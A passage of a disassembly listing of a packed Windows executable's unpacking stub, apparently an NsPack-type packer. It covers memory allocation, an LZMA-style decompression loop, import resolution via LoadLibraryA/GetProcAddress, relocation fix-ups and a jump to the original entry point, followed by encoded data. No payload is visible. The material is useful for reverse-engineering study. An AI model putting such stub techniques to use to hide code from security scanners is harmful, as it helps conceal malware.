1000h push 0C2000h push 0 call dword ptr [ebp+9EBh] mov [ebp+0A3Ah], eax jmp short loc_490EBD ; --------------------------------------------------------------------------- loc_490EA9: ; CODE XREF: start-2292j pusha push dword ptr [ebp+0A3Ah] push dword ptr [edi+esi] push dword ptr [edi+esi+4] call ebx ; WideCharToMultiByte popa add edi, 8 loc_490EBD: ; CODE XREF: start-22ACj cmp dword ptr [edi+esi], 0 jnz short loc_490EA9 lea esi, [edi+esi+4] push ebx push 40h push 1000h push 5FDh push 0 call dword ptr [ebp+9EBh] mov [ebp+0A56h], eax pop ebx pusha push dword ptr [ebp+0A3Ah] push esi push dword ptr [ebp+0A56h] call ebx ; WideCharToMultiByte popa mov esi, [ebp+0A56h] mov eax, esi jmp short loc_490EFF ; --------------------------------------------------------------------------- loc_490EFE: ; CODE XREF: start-2251j inc eax loc_490EFF: ; CODE XREF: start-2257j cmp byte ptr [eax], 1 jnz short loc_490EFE inc eax mov edi, [eax] call sub_490FF3 add eax, 4 mov [ebp+0A52h], eax jmp loc_490FB1 ; --------------------------------------------------------------------------- loc_490F1A: ; CODE XREF: start-219Fj push esi call dword ptr [ebp+9E3h] mov [ebp+0A4Eh], eax test eax, eax jz loc_490FF1 mov eax, esi jmp short loc_490F92 ; --------------------------------------------------------------------------- loc_490F33: ; CODE XREF: start-21C3j start-21BEj mov eax, [ebp+0A52h] mov eax, [eax] test eax, 80000000h jz short loc_490F56 xor eax, 80000000h push eax mov eax, [ebp+0A52h] mov dword ptr [eax], 202020h jmp short loc_490F5C ; --------------------------------------------------------------------------- loc_490F56: ; CODE XREF: start-2213j push dword ptr [ebp+0A52h] loc_490F5C: ; CODE XREF: start-21FFj push dword ptr [ebp+0A4Eh] call dword ptr [ebp+9E7h] test eax, eax jz loc_490FF1 mov [edi], eax add edi, 4 mov eax, [ebp+0A52h] jmp short loc_490F7E ; --------------------------------------------------------------------------- loc_490F7D: ; CODE XREF: start-21D2j inc eax loc_490F7E: ; CODE XREF: start-21D8j cmp byte ptr [eax], 0 jnz short loc_490F7D inc eax mov [ebp+0A52h], eax cmp word ptr [eax+2], 8000h jz short loc_490F33 loc_490F92: ; CODE XREF: start-2222j cmp byte ptr [eax], 0 jnz short loc_490F33 jmp short loc_490F9A ; --------------------------------------------------------------------------- loc_490F99: ; CODE XREF: start-21B6j inc esi loc_490F9A: ; CODE XREF: start-21BCj cmp byte ptr [esi], 0 jnz short loc_490F99 inc esi inc eax mov edi, [eax] call sub_490FF3 add eax, 4 mov [ebp+0A52h], eax loc_490FB1: ; CODE XREF: start-223Ej cmp byte ptr [esi], 1 jnz loc_490F1A push 4000h push 5FDh push dword ptr [ebp+0A56h] call dword ptr [ebp+9EFh] push 4000h push 0C2000h push dword ptr [ebp+0A3Ah] call dword ptr [ebp+9EFh] call sub_491040 popa jmp sub_40D514 ; --------------------------------------------------------------------------- loc_490FF1: ; CODE XREF: start-222Aj start-21E9j popa retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_490FF3 proc near ; CODE XREF: start-224Cp start-21B0p arg_24 = dword ptr 28h push eax push ebx mov eax, [ebp+0A46h] or eax, eax jz short loc_49100D mov eax, [ebp+0A3Eh] mov ebx, [esp+8+arg_24] sub edi, eax add edi, ebx loc_49100D: ; CODE XREF: sub_490FF3+Aj pop ebx pop eax retn sub_490FF3 endp ; =============== S U B R O U T I N E ======================================= sub_491010 proc near ; CODE XREF: start-22CBp arg_24 = dword ptr 28h pusha mov eax, [ebp+0A46h] or eax, eax jz short loc_49103E mov eax, [ebp+0A3Eh] mov ebx, [esp+20h+arg_24] jmp short loc_491038 ; --------------------------------------------------------------------------- loc_491027: ; CODE XREF: sub_491010+2Cj sub [edi+esi+4], eax add [edi+esi+4], ebx sub [edi+esi], eax add [edi+esi], ebx add edi, 8 loc_491038: ; CODE XREF: sub_491010+15j cmp dword ptr [edi+esi], 0 jnz short loc_491027 loc_49103E: ; CODE XREF: sub_491010+9j popa retn sub_491010 endp ; =============== S U B R O U T I N E ======================================= sub_491040 proc near ; CODE XREF: start-216Dp arg_24 = dword ptr 28h pusha mov esi, [ebp+0A46h] or esi, esi jz short loc_4910B2 mov edi, [ebp+0A3Eh] mov eax, [esp+20h+arg_24] mov [ebp+0A42h], eax cmp eax, edi jz short loc_4910B2 add esi, eax jmp short loc_4910AD ; --------------------------------------------------------------------------- loc_491063: ; CODE XREF: sub_491040+70j mov edx, [esi] mov eax, [esi+4] mov [ebp+0A4Ah], eax add [ebp+0A4Ah], esi add esi, 8 jmp short loc_4910A5 ; --------------------------------------------------------------------------- loc_491079: ; CODE XREF: sub_491040+6Bj movzx eax, word ptr [esi] mov ebx, eax shr ebx, 0Ch mov ecx, ebx imul ebx, 1000h sub eax, ebx add eax, edx add eax, [ebp+0A42h] cmp ecx, 3 jnz short loc_4910A2 sub [eax], edi mov ecx, [ebp+0A42h] add [eax], ecx loc_4910A2: ; CODE XREF: sub_491040+56j add esi, 2 loc_4910A5: ; CODE XREF: sub_491040+37j cmp esi, [ebp+0A4Ah] jb short loc_491079 loc_4910AD: ; CODE XREF: sub_491040+21j cmp dword ptr [esi], 0 jnz short loc_491063 loc_4910B2: ; CODE XREF: sub_491040+9j ; sub_491040+1Dj popa retn sub_491040 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h xor eax, eax inc eax mov edi, [ebp+10h] mov [ebp-14h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-28h], eax mov eax, 400h xor edx, edx mov ecx, 30736h rep stosd mov eax, [ebp+0Ch] push 5 mov [ebp-8], eax mov [ebp-10h], edx mov [ebp-1], dl mov [ebp-0Ch], edx mov [ebp+0Ch], edx or eax, 0FFFFFFFFh pop ecx loc_4910F2: ; CODE XREF: .nsp0:00491107j mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi inc dword ptr [ebp-8] dec ecx mov [ebp+0Ch], edx jnz short loc_4910F2 loc_491109: ; CODE XREF: .nsp0:0049129Bj ; .nsp0:004912AAj ... mov esi, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ebp+10h] and esi, 3 shl ecx, 4 add ecx, esi cmp eax, 1000000h lea edi, [edx+ecx*4] jnb short loc_49113B mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_49113B: ; CODE XREF: .nsp0:00491122j mov ecx, [edi] mov ebx, eax shr ebx, 0Bh imul ebx, ecx cmp [ebp+0Ch], ebx jnb loc_4912B8 mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx movzx ecx, byte ptr [ebp-1] imul ecx, 0C00h xor edx, edx mov [edi], esi mov esi, [ebp+10h] inc edx cmp dword ptr [ebp-0Ch], 7 lea ecx, [esi+ecx+1CD8h] mov eax, ebx mov [ebp-20h], ecx jl loc_491221 mov ecx, [ebp-10h] sub ecx, [ebp-14h] mov esi, [ebp+8] movzx ecx, byte ptr [esi+ecx] mov [ebp-24h], ecx loc_491192: ; CODE XREF: .nsp0:00491219j shl dword ptr [ebp-24h], 1 mov esi, [ebp-24h] mov edi, [ebp-20h] and esi, 100h cmp eax, 1000000h lea ecx, [edx+esi] lea ecx, [edi+ecx*4+400h] mov [ebp-2Ch], ecx jnb short loc_4911CC mov ebx, [ebp-8] mov edi, [ebp+0Ch] movzx ebx, byte ptr [ebx] shl edi, 8 or edi, ebx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edi loc_4911CC: ; CODE XREF: .nsp0:004911B3j mov ecx, [ecx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_4911FA mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-2Ch] add edx, edx test esi, esi mov [ecx], edi jnz loc_49127A jmp short loc_491213 ; --------------------------------------------------------------------------- loc_4911FA: ; CODE XREF: .nsp0:004911D9j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi test esi, esi mov edi, [ebp-2Ch] mov [edi], ecx lea edx, [edx+edx+1] jz short loc_49127A loc_491213: ; CODE XREF: .nsp0:004911F8j cmp edx, 100h jl loc_491192 jmp short loc_491282 ; --------------------------------------------------------------------------- loc_491221: ; CODE XREF: .nsp0:0049117Cj ; .nsp0:00491280j cmp eax, 1000000h mov ecx, [ebp-20h] lea edi, [ecx+edx*4] jnb short loc_491245 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_491245: ; CODE XREF: .nsp0:0049122Cj mov ecx, [edi] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_491268 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi], esi add edx, edx jmp short loc_49127A ; --------------------------------------------------------------------------- loc_491268: ; CODE XREF: .nsp0:00491252j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi], ecx lea edx, [edx+edx+1] loc_49127A: ; CODE XREF: .nsp0:004911F2j ; .nsp0:00491211j ... cmp edx, 100h jl short loc_491221 loc_491282: ; CODE XREF: .nsp0:0049121Fj mov esi, [ebp-10h] mov ecx, [ebp+8] inc dword ptr [ebp-10h] cmp dword ptr [ebp-0Ch], 4 mov [ebp-1], dl mov [ecx+esi], dl jge short loc_4912A0 and dword ptr [ebp-0Ch], 0 jmp loc_491109 ; --------------------------------------------------------------------------- loc_4912A0: ; CODE XREF: .nsp0:00491295j cmp dword ptr [ebp-0Ch], 0Ah jge short loc_4912AF sub dword ptr [ebp-0Ch], 3 jmp loc_491109 ; --------------------------------------------------------------------------- loc_4912AF: ; CODE XREF: .nsp0:004912A4j sub dword ptr [ebp-0Ch], 6 jmp loc_491109 ; --------------------------------------------------------------------------- loc_4912B8: ; CODE XREF: .nsp0:00491148j sub [ebp+0Ch], ebx mov edx, ecx shr edx, 5 sub ecx, edx mov edx, [ebp-0Ch] sub eax, ebx cmp eax, 1000000h mov [edi], ecx mov ecx, [ebp+10h] lea edx, [ecx+edx*4+300h] jnb short loc_4912F1 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4912F1: ; CODE XREF: .nsp0:004912D8j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_491343 mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx cmp dword ptr [ebp-0Ch], 7 mov ecx, [ebp-18h] mov [ebp-28h], ecx mov ecx, [ebp-1Ch] mov [ebp-18h], ecx mov ecx, [ebp-14h] mov [edx], edi mov [ebp-1Ch], ecx jge short loc_49132E and dword ptr [ebp-0Ch], 0 jmp short loc_491335 ; --------------------------------------------------------------------------- loc_49132E: ; CODE XREF: .nsp0:00491326j mov dword ptr [ebp-0Ch], 3 loc_491335: ; CODE XREF: .nsp0:0049132Cj mov ecx, [ebp+10h] add ecx, 0CC8h jmp loc_49152C ; --------------------------------------------------------------------------- loc_491343: ; CODE XREF: .nsp0:004912FEj sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edi, [edx+ecx*4+330h] jnb short loc_49137C mov edx, [ebp-8] mov ecx, [ebp+0Ch] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_49137C: ; CODE XREF: .nsp0:00491363j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb loc_491430 mov ebx, 800h sub ebx, ecx shr ebx, 5 add ebx, ecx mov ecx, [ebp-0Ch] add ecx, 0Fh shl ecx, 4 mov [edi], ebx mov edi, [ebp+10h] add ecx, esi cmp edx, 1000000h mov eax, edx lea edi, [edi+ecx*4] jnb short loc_4913D1 mov ecx, [ebp+0Ch] shl edx, 8 mov eax, edx mov edx, [ebp-8] movzx edx, byte ptr [edx] shl ecx, 8 or ecx, edx inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4913D1: ; CODE XREF: .nsp0:004913B6j mov ecx, [edi] mov edx, eax shr edx, 0Bh imul edx, ecx cmp [ebp+0Ch], edx jnb short loc_49141D mov esi, [ebp-10h] mov eax, edx mov edx, 800h sub edx, ecx shr edx, 5 add edx, ecx xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 mov [edi], edx mov edx, [ebp+8] setnl cl lea ecx, [ecx+ecx+9] mov [ebp-0Ch], ecx mov ecx, [ebp-10h] sub ecx, [ebp-14h] inc dword ptr [ebp-10h] mov cl, [edx+ecx] mov [ebp-1], cl mov [edx+esi], cl jmp loc_491109 ; --------------------------------------------------------------------------- loc_49141D: ; CODE XREF: .nsp0:004913DEj sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx mov [edi], ecx jmp loc_491510 ; --------------------------------------------------------------------------- loc_491430: ; CODE XREF: .nsp0:00491389j sub [ebp+0Ch], edx sub eax, edx mov edx, ecx shr edx, 5 sub ecx, edx cmp eax, 1000000h mov edx, [ebp+10h] mov [edi], ecx mov ecx, [ebp-0Ch] lea edx, [edx+ecx*4+360h] jnb short loc_491469 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_491469: ; CODE XREF: .nsp0:00491450j mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_49148D mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-1Ch] mov [edx], edi jmp short loc_491507 ; --------------------------------------------------------------------------- loc_49148D: ; CODE XREF: .nsp0:00491476j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi cmp eax, 1000000h mov [edx], ecx mov ecx, [ebp-0Ch] mov edx, [ebp+10h] lea edx, [edx+ecx*4+390h] jnb short loc_4914C6 mov edi, [ebp-8] mov ecx, [ebp+0Ch] movzx edi, byte ptr [edi] shl ecx, 8 or ecx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4914C6: ; CODE XREF: .nsp0:004914ADj mov ecx, [edx] mov edi, eax shr edi, 0Bh imul edi, ecx cmp [ebp+0Ch], edi jnb short loc_4914EA mov eax, edi mov edi, 800h sub edi, ecx shr edi, 5 add edi, ecx mov ecx, [ebp-18h] mov [edx], edi jmp short loc_491501 ; --------------------------------------------------------------------------- loc_4914EA: ; CODE XREF: .nsp0:004914D3j sub [ebp+0Ch], edi sub eax, edi mov edi, ecx shr edi, 5 sub ecx, edi mov [edx], ecx mov edx, [ebp-18h] mov ecx, [ebp-28h] mov [ebp-28h], edx loc_491501: ; CODE XREF: .nsp0:004914E8j mov edx, [ebp-1Ch] mov [ebp-18h], edx loc_491507: ; CODE XREF: .nsp0:0049148Bj mov edx, [ebp-14h] mov [ebp-1Ch], edx mov [ebp-14h], ecx loc_491510: ; CODE XREF: .nsp0:0049142Bj xor ecx, ecx cmp dword ptr [ebp-0Ch], 7 setnl cl dec ecx and ecx, 0FFFFFFFDh add ecx, 0Bh mov [ebp-0Ch], ecx mov ecx, [ebp+10h] add ecx, 14D0h loc_49152C: ; CODE XREF: .nsp0:0049133Ej cmp eax, 1000000h jnb short loc_49154A mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_49154A: ; CODE XREF: .nsp0:00491531j mov edx, [ecx] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_491576 mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 and dword ptr [ebp-24h], 0 mov [ecx], edi lea ecx, [ecx+esi+8] jmp short loc_4915D4 ; --------------------------------------------------------------------------- loc_491576: ; CODE XREF: .nsp0:00491557j sub [ebp+0Ch], edi sub eax, edi mov edi, edx shr edi, 5 sub edx, edi cmp eax, 1000000h mov [ecx], edx jnb short loc_4915A2 mov edi, [ebp-8] mov edx, [ebp+0Ch] movzx edi, byte ptr [edi] shl edx, 8 or edx, edi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_4915A2: ; CODE XREF: .nsp0:00491589j mov edx, [ecx+4] mov edi, eax shr edi, 0Bh imul edi, edx cmp [ebp+0Ch], edi jnb short loc_4915DD mov eax, edi mov edi, 800h sub edi, edx shr edi, 5 add edi, edx shl esi, 5 mov [ecx+4], edi lea ecx, [ecx+esi+208h] mov dword ptr [ebp-24h], 8 loc_4915D4: ; CODE XREF: .nsp0:00491574j mov dword ptr [ebp-20h], 3 jmp short loc_491600 ; --------------------------------------------------------------------------- loc_4915DD: ; CODE XREF: .nsp0:004915B0j sub [ebp+0Ch], edi mov esi, edx shr esi, 5 sub edx, esi sub eax, edi mov [ecx+4], edx add ecx, 408h mov dword ptr [ebp-24h], 10h mov dword ptr [ebp-20h], 8 loc_491600: ; CODE XREF: .nsp0:004915DBj mov edx, [ebp-20h] xor ebx, ebx mov [ebp-2Ch], edx inc ebx loc_491609: ; CODE XREF: .nsp0:00491662j cmp eax, 1000000h jnb short loc_491627 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_491627: ; CODE XREF: .nsp0:0049160Ej mov edx, [ecx+ebx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_49164C mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ecx+ebx*4], esi add ebx, ebx jmp short loc_49165F ; --------------------------------------------------------------------------- loc_49164C: ; CODE XREF: .nsp0:00491635j sub [ebp+0Ch], esi sub eax, esi mov esi, edx shr esi, 5 sub edx, esi mov [ecx+ebx*4], edx lea ebx, [ebx+ebx+1] loc_49165F: ; CODE XREF: .nsp0:0049164Aj dec dword ptr [ebp-2Ch] jnz short loc_491609 mov ecx, [ebp-20h] xor edx, edx inc edx mov esi, edx shl esi, cl mov ecx, [ebp-24h] sub ecx, esi add ebx, ecx cmp dword ptr [ebp-0Ch], 4 mov [ebp-30h], ebx jge loc_491816 add dword ptr [ebp-0Ch], 7 cmp ebx, 4 jge short loc_49168F mov ecx, ebx jmp short loc_491692 ; --------------------------------------------------------------------------- loc_49168F: ; CODE XREF: .nsp0:00491689j push 3 pop ecx loc_491692: ; CODE XREF: .nsp0:0049168Dj mov esi, [ebp+10h] shl ecx, 8 lea edi, [esi+ecx+6C0h] mov dword ptr [ebp-2Ch], 6 loc_4916A6: ; CODE XREF: .nsp0:004916FFj cmp eax, 1000000h jnb short loc_4916C4 mov esi, [ebp-8] mov ecx, [ebp+0Ch] movzx esi, byte ptr [esi] shl ecx, 8 or ecx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], ecx loc_4916C4: ; CODE XREF: .nsp0:004916ABj mov ecx, [edi+edx*4] mov esi, eax shr esi, 0Bh imul esi, ecx cmp [ebp+0Ch], esi jnb short loc_4916E9 mov eax, esi mov esi, 800h sub esi, ecx shr esi, 5 add esi, ecx mov [edi+edx*4], esi add edx, edx jmp short loc_4916FC ; --------------------------------------------------------------------------- loc_4916E9: ; CODE XREF: .nsp0:004916D2j sub [ebp+0Ch], esi sub eax, esi mov esi, ecx shr esi, 5 sub ecx, esi mov [edi+edx*4], ecx lea edx, [edx+edx+1] loc_4916FC: ; CODE XREF: .nsp0:004916E7j dec dword ptr [ebp-2Ch] jnz short loc_4916A6 sub edx, 40h cmp edx, 4 mov edi, edx jl loc_4917E7 mov ecx, edx sar ecx, 1 and edi, 1 dec ecx or edi, 2 cmp edx, 0Eh mov [ebp-14h], ecx jge short loc_491734 shl edi, cl mov ecx, edi sub ecx, edx mov edx, [ebp+10h] lea ebx, [edx+ecx*4+0ABCh] jmp short loc_49177A ; --------------------------------------------------------------------------- loc_491734: ; CODE XREF: .nsp0:00491720j sub ecx, 4 loc_491737: ; CODE XREF: .nsp0:00491765j cmp eax, 1000000h jnb short loc_491755 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_491755: ; CODE XREF: .nsp0:0049173Cj shr eax, 1 add edi, edi cmp [ebp+0Ch], eax jb short loc_491764 sub [ebp+0Ch], eax or edi, 1 loc_491764: ; CODE XREF: .nsp0:0049175Cj dec ecx jnz short loc_491737 mov ebx, [ebp+10h] add ebx, 0C88h shl edi, 4 mov dword ptr [ebp-14h], 4 loc_49177A: ; CODE XREF: .nsp0:00491732j xor ecx, ecx inc ecx mov [ebp-20h], ebx mov [ebp-24h], ecx loc_491783: ; CODE XREF: .nsp0:004917E5j cmp eax, 1000000h jnb short loc_4917A1 mov esi, [ebp-8] mov edx, [ebp+0Ch] movzx esi, byte ptr [esi] shl edx, 8 or edx, esi shl eax, 8 inc dword ptr [ebp-8] mov [ebp+0Ch], edx loc_4917A1: ; CODE XREF: .nsp0:00491788j mov edx, [ebx+ecx*4] mov esi, eax shr esi, 0Bh imul esi, edx cmp [ebp+0Ch], esi jnb short loc_4917C6 mov eax, esi mov esi, 800h sub esi, edx shr esi, 5 add esi, edx mov [ebx+ecx*4], esi add ecx, ecx jmp short loc_4917DF ; --------------------------------------------------------------------------- loc_4917C6: ; CODE XREF: .nsp0:004917AFj sub [ebp+0Ch], esi mov ebx, [ebp-20h] sub eax, esi mov esi, edx shr esi, 5 sub edx, esi or edi, [ebp-24h] mov [ebx+ecx*4], edx lea ecx, [ecx+ecx+1] loc_4917DF: ; CODE XREF: .nsp0:004917C4j shl dword ptr [ebp-24h], 1 dec dword ptr [ebp-14h] jnz short loc_491783 loc_4917E7: ; CODE XREF: .nsp0:00491709j inc edi mov [ebp-14h], edi jz short loc_49181B mov ebx, [ebp-30h] loc_4917F0: ; CODE XREF: .nsp0:00491819j mov ecx, [ebp-10h] inc ebx sub ecx, edi inc ebx add ecx, [ebp+8] loc_4917FA: ; CODE XREF: .nsp0:0049180Fj mov dl, [ecx] mov esi, [ebp-10h] mov edi, [ebp+8] dec ebx inc dword ptr [ebp-10h] inc ecx test ebx, ebx mov [ebp-1], dl mov [edi+esi], dl jnz short loc_4917FA jmp loc_491109 ; --------------------------------------------------------------------------- loc_491816: ; CODE XREF: .nsp0:0049167Cj mov edi, [ebp-14h] jmp short loc_4917F0 ; --------------------------------------------------------------------------- loc_49181B: ; CODE XREF: .nsp0:004917EBj mov eax, [ebp-10h] leave retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 184A0000h, 18570009h, 9, 4 dup(0) dd 656B0000h, 6C656E72h, 642E3233h, 0D8006C6Ch, 0FD77E805h dd 0A77E7A5h, 3477E798h, 77E79Eh, 0 dd 616F4C00h, 62694C64h, 79726172h, 47000041h, 72507465h dd 6441636Fh, 73657264h, 56000073h, 75747269h, 6C416C61h dd 636F6Ch, 72695600h, 6C617574h, 65657246h, 10000000h dd 80000h, 0 dd 32h, 40h, 3 dup(0) dd 60177E6h, 3Fh, 2000003Fh, 10000048h, 0DCC70040h, 70000048h dd 0E7090041h, 90000048h, 41h, 2B000000h, 0F145C294h, 3A1795A5h dd 0FF55F6E7h, 5CB48203h, 0A851FE60h, 1109D910h, 0E8282274h dd 62AD98BBh, 776FC259h, 78D8556Dh, 81B45069h, 0A637E719h dd 4E133A8Bh, 0AB0E4871h, 0C916483Fh, 0EAD05BD5h, 970F1547h dd 7564A7E8h, 9D710879h, 0BB16EEA4h, 207E5DAEh, 6C4C658Fh dd 1D6C0432h, 0F809450Dh, 0C252D963h, 8D271D50h, 8FC839DBh dd 6F14A9B0h, 0BF61887Dh, 0BC7A7223h, 0EE6417Ch, 8B7BD421h dd 0E050A8B8h, 89AB1FECh, 3D8876E9h, 508AA5D9h, 52AAD6C2h dd 0D98C608Ch, 0A55BAD89h, 6C0E2001h, 2EBD9F8Ah, 0E97F0630h dd 0A6711F62h, 42029695h, 0EE65CB76h, 553F3A95h, 4AAD7752h dd 0D534D108h, 0A56537F5h, 499A3865h, 0B5F40E33h, 976706C8h dd 879D936h, 0CDB9D511h, 456D7340h, 2C68DAF8h, 0E1339C45h dd 0DFAD56A1h, 0D86ACF03h, 0F33C0025h, 0D6ED4042h, 4E159B93h dd 4505C427h, 29644C91h, 804FDA15h, 1D242F72h, 22709904h dd 13975A93h, 0B556E403h, 7D4F1A26h, 9366AB61h, 8A056702h dd 94442D13h, 0E71191A1h, 320DC375h, 2CF0AFBEh, 2A873969h dd 0DB1BF251h, 0E697325h, 764091CDh, 9E1FA910h, 1AD159A5h dd 4E66D061h, 2DAF7793h, 4493B4FFh, 84A0496Ah, 0F2BA0D2h dd 218DC503h, 13324597h, 1DB84DB5h, 0C5143AD3h, 2723F823h dd 0BD231F30h, 3ED104A0h, 0F9FD95F3h, 2C1DC283h, 56B91197h dd 7DC3572Ch, 9D56D64Bh, 25EBF7B7h, 6983A6D1h, 7D7242DAh dd 2D500920h, 75A72F54h, 6407B4E5h, 61EC5D07h, 766E1D05h dd 7CEC0A93h, 780F2EF6h, 0EBF667A9h, 2BD6A4EEh, 81CAB52Ch dd 5461B9D9h, 8DC95370h, 9EF020E3h, 5282C054h, 0DC423CB9h dd 9A5CB059h, 0A41EC9EAh, 0DDC9EA63h, 0F10ED594h, 4AF4C50Fh dd 0C6334204h, 2FFEB8D0h, 0BBB91167h, 597F024Fh, 4A315926h dd 0E81E35E9h, 0E25B2C24h, 0E532D0A7h, 0F0617EC5h, 6981F5E4h dd 106E377Dh, 0D80829A0h, 719601BFh, 0D70E9BD7h, 42C81463h dd 53D03104h, 0EF381275h, 9CDD3683h, 2AE14FC9h, 0F99306A5h dd 3C0E5BADh, 0D7F18939h, 0A14DBF9Ch, 47AF7F0Eh, 0EC07F91Dh dd 0DEF491FDh, 0A0986832h, 2433D2F2h, 8F01D9C2h, 5A32E36Ah dd 0A1D48887h, 0B8C93353h, 0BF972487h, 2D4FCA65h, 0F2801940h dd 0EE9A65F8h, 0C7196B8Ah, 4AAC2884h, 91F26C5h, 44E3BFBAh dd 62C0D1B9h, 8DC6BA3Ch, 0B8C95A85h, 8AA4F29h, 0CD22ACB3h dd 0DD927A3Dh, 0B9BC505Dh, 5366FB51h, 94790A49h, 0BE201668h dd 0CBE86A56h, 0E4DD37EDh, 0E0940D2Ch, 0A1917164h, 9E4B5433h dd 0AB1126FAh, 39D76B1Eh, 30424E3Fh, 0CF925A9Ch, 40134Eh dd 751BD17Ch, 0E425CD76h, 0F0FA14D2h, 16C56A51h, 94D4EF5h dd 0B7791EB1h, 0D588924Ch, 0BBE3EAD1h, 0C26E5AF0h, 0A11C42A2h dd 0AC7BEDBAh, 5E73FE2Ch, 7DFB6789h, 14E680A4h, 5CB9891Ah dd 92D01B89h, 0C8FEFF6Ah, 1E42h, 0FDh dup(0) dd 15h, 0 dd 91857h, 340AFDD8h, 0B77E79Eh, 4 dup(0) db 0 aLoadlibraryage db 'LoadLibraryAGetProcAddressVirtualAllocVirtualFree',0 align 1000h _nsp0 ends ; Section 2. (virtual address 00093000) ; Virtual size : 00011000 ( 69632.) ; Section size in file : 00011000 ( 69632.) ; Offset to raw data for section: 00093000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 493000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 92000h, 0 dd 400000h, 0 dd 77E60000h, 7 dup(0) dd 320000h, 0 dd 400000h, 0Ah dup(0) dd 2, 138h, 2 dup(0) dd 1, 0 dd offset sub_401000 dd 0 dd 0FC01h, 3 dup(0) dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h dd 77E75CB5h, 4 dup(0) dd 930E0h, 9309Ch, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 4C000000h, 4C64616Fh dd 61726269h, 417972h, 65470000h, 6F725074h, 64644163h dd 73736572h, 56000000h, 75747269h, 72506C61h, 6365746Fh dd 74h, 74726956h, 416C6175h, 636F6C6Ch, 56000000h, 75747269h dd 72466C61h, 6565h, 69784500h, 6F725074h, 73736563h, 3000000h dd 6383047Eh db 0E3h, 7Dh, 37h ; =============== S U B R O U T I N E ======================================= public start start proc near var_24 = dword ptr -24h ; FUNCTION CHUNK AT 00490E6E SIZE 00000185 BYTES ; FUNCTION CHUNK AT 00493513 SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-0D7h] cmp byte ptr [ecx], 1 jz loc_4933AF mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-143h] mov [ebp-143h], eax add [ebp-113h], eax lea esi, [ebp-0CFh] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-0ABh] test eax, eax jz loc_493513 mov 